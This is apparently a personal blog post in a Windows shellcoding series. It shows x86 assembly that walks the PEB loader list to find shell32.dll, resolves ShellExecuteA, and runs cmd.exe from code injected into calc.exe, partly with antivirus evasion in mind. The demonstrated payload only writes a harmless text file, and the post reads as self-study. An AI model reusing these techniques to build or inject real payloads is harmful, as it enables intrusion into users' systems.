Windows Shellcoding - 2 : ShellExecuteA by Searching through loaded Dlls

In light of my previous success with handling windows API inside shellcode, I wanted to experiment more with what I had learnt.

Now I had a few ideas, the most prominent one was being able to use functions from Dlls other than kernel32.dll as that one provides a limited number of functions and even then they're easily detected by any Anti-Virus software.

So I decided to try getting ShellExecuteA to work, it is provided by shell32.dll and one application of windows which loads it is 'calc.exe'.

Attaching WinDbg onto calc.exe showed that the Dll is loaded quite far down into the list.

Now unlike the first two, i.e., kernel32.dll & ntdll.dll, this one does not consistently load in the same position.

As you can see in the image, it is preceded by BitDefender's dlls, in systems where there is no anti virus it might load earlier.

So I need a reliable way to search for it each time, so a search function should do it.

Given that the load order entry is in uppercase we have to search for uppercase shell32.dll, so with a little help from my python script (the same one from last shellcoding post) we get the uppercase little endian version to push. 

; store "SHELL32.dll" to search
strt:
xor eax, eax
push eax
push 0x6c6c64
push 0x2e32334c
push 0x4c454853
mov [ebp - 0x04], esp   ; Pointer to "SHELL32.dll" in var 4

With this on the stack, we follow a similar routine like the previous one, only difference being this one has a search function added.

The modules are loaded with their full pathname in the FullDllName field of LDR_DATA_TABLE_ENTRY at 0x20 from the base of the entry, and comparing that whole pathname would be really time consuming I decided to skip the the first 20 bytes they'd occupy.

; look for shell32.dll base address
xor eax, eax
mov ebx, [fs:0x30 + eax]    ; PEB
mov ebx, [ebx + 0x0C]       ; PEB_LDR_DATA
mov ebx, [ebx + 0x14]       ; InMemoryOrderModuleList (first entry)
mov ebx, [ebx]              ; Flink (ntdll.dll)
mov ebx, [ebx]              ; Flink (kernel32.dll)

.search:
mov ebx, [ebx]          ; Flink (next entry)
mov edi, [ebx + 0x20]   ; Get FullDllName from LDR_DATA_TABLE_ENTRY
add edi, 0x14           ; skip "C:\\Windows\\System32\\"
mov esi, [ebp - 0x04]   ; Move pointer to "shell32.dll" into esi
xor ecx, ecx            ; clear out counter
add cx, 0x0B            ; add num of bytes to compare, 11 characters of "SHELL32.dll"
cld                     ; clear direction flag

.compare:
repe cmpsb              ; repeat until equal, compare esi and edi byte by byte
jne strt.search         ; if not equal, move to next entry
mov ebx, [ebx + 0x10]   ; BaseAddress

I assemble it and grab the shellcode for testing if my hypothesis is correct.

So on plugging it in a code cave in x32dbg, I found a major error in my initial plan, Windows stores the names in unicode!

Now that presents a unique challenge, as in Unicode encoding, each character is followed by a null byte (\x00) and I can't save the name of the dll in UTF-16 without risking the null bytes messing with the shellcode.

The storage in UTF-16 also means I have to change the number of skipped bytes.

So I edit the ShellCode to get two bytes into EDI and skip the null byte. 

I also increment EDI by two characters from the from the pathname, i.e., the byte + the null byte. I also altered the numbers of bytes to skip from 20 to 40, since I have to skip a null byte for each byte.

.search:
mov ebx, [ebx]          ; Flink (next entry)
mov edi, [ebx + 0x20]   ; Get FullDllName from LDR_DATA_TABLE_ENTRY, !it is in unicode!
add edi, 0x28           ; skip "C:\\Windows\\System32\\"
mov esi, [ebp - 0x04]   ; Move pointer to "shell32.dll" into esi
xor ecx, ecx            ; clear out counter
add cx, 0x0B            ; add num of bytes to compare, 11 characters of "SHELL32.dll"
cld

.compare:
lodsb               ; load a byte into al
mov dx, word [edi]  ; get two bytes into dx
add edi, 0x02       ; move edi up by 2 (current character + current character null byte)
cmp al, dl          ; compare the two character bytes only
jne strt.search     ; if not equal, move to next entry
loop strt.compare   ; loop until cx value is exhausted
 
mov ebx, [ebx + 0x10]   ; BaseAddress
mov [ebp - 0xC], ebx    ; Store SHELL32.dll base address in var C

I get the bytecode and plug it into calc.exe again to verify if it worked.

So after two loops I successfully got the base address for shell32.dll, and then I just followed the same routine as last time.

                Getting PE Header Addr (Base Addr + 0x3C)
                                    |
                                    V
           Get Export Table Addr (PE Base + 0x78 + Base Addr)
                                    |
                                    V
           Get Number of Functions (Export Table Addr + 0x14)
                                    |
                                    V
       Get Address Table Base (Exports Addr + 0x1C + Base Addr)
     Get Name Pointer Table Base (Exports Addr + 0x20 + Base Addr)
       Get Ordinal Table Base (Exports Addr + 0x24 + Base Addr

Once I have all the addresses resolved, I search for 'ShellExecuteA' in the Name Pointer Table to get its position within the table. Then using that position I acquired its Ordinal Number and then the address of 'ShellExecuteA' was loaded into EAX using the Ordinal Number.

This part of the process was done using the same code I had from shellcoding 1, post so I will not be reposting it.

I then used the my nifty python script to generate the stack pushes for my command strings and then we push the arguments in accordance to the ShellExecuteA's documentation which you can find of Microsoft's Website.


So I push the arguments starting with the last one as the stack works on LIFO (Last in first out):

xor ecx, ecx
push ecx            ; Visibility (nShowCmd) [0]
push ecx            ; Directory (lpDirectory) [Null]
push esi            ; Arguments (lpParameters) ["/c echo "Hello from shellcode!!" > file.txt"]
push edi            ; File (lpFile) ["cmd.exe"]
push edx            ; Operation (lpOperation) ["open"]
push ecx            ; Handle (hwnd) [NULL]
call eax            ; Invoke ShellExecuteA

Once that is done I inject it into 'calc.exe' and run it with x32dbg.

After pushing, as you can see the arguments are in stack in the correct order and the address to ShellExecuteA in EAX.

Looking the monitoring report from procmon, it seems to have succeeded with flying colours.

The actual file below in SysWOW64, its in SysWOW64 since the 32 bit calc.exe is there and cmd just used the calling process's directory.

The full code is here, there are a few stray null bytes which I am working on to remove, the third post in this series should probably have one which is zero null bytes (hopefully!).



Comments

Popular posts from this blog

Malware Analysis Report: Sample SmokeScreen

[TryHackMe] BrainPan 1